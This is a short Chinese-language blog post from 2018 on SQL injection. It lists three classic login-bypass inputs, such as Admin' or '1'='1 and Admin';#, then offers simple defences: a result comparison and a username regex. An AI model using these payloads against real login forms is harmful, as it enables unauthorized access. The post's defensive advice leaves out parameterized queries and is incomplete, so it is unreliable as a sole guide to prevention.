SQL隱碼攻擊語句

開發農民發表於2018-07-25

一、SQL隱碼攻擊語句

賬號:Admin

密碼:123456

登入驗證語句為select * from 表名 where UserName = '使用者名稱' and UserPassword = '使用者密碼";的系統可通過以下注入方式可能可繞過密碼登入進入系統。

1、

Admin' or '1'='1

123(任意密碼)

註釋:形成一個恆為真的條件,是SQL查詢判斷失敗

2、

Admin';#

123

註釋:#註釋點後續語句(#註釋失敗請嘗試--作為註釋)

3、

1' or '1'='1

123(任意密碼)

註釋:該方式登入成功的原因還沒弄清楚,大神請告知

二、SQL隱碼攻擊防禦

1、查詢出來的結果再和使用者名稱密碼比較如果一致則是正常登陸,不一致認為是攻擊

2、通過正規表示式進行匹配使用者名稱是否合法

帳號是否合法(字母開頭,允許5-16位元組,允許字母數字下劃線):^[a-zA-Z][a-zA-Z0-9_]{4,15}$

其中最後一個“_”處可新增其他的字元表示允許通過的字元。

相關文章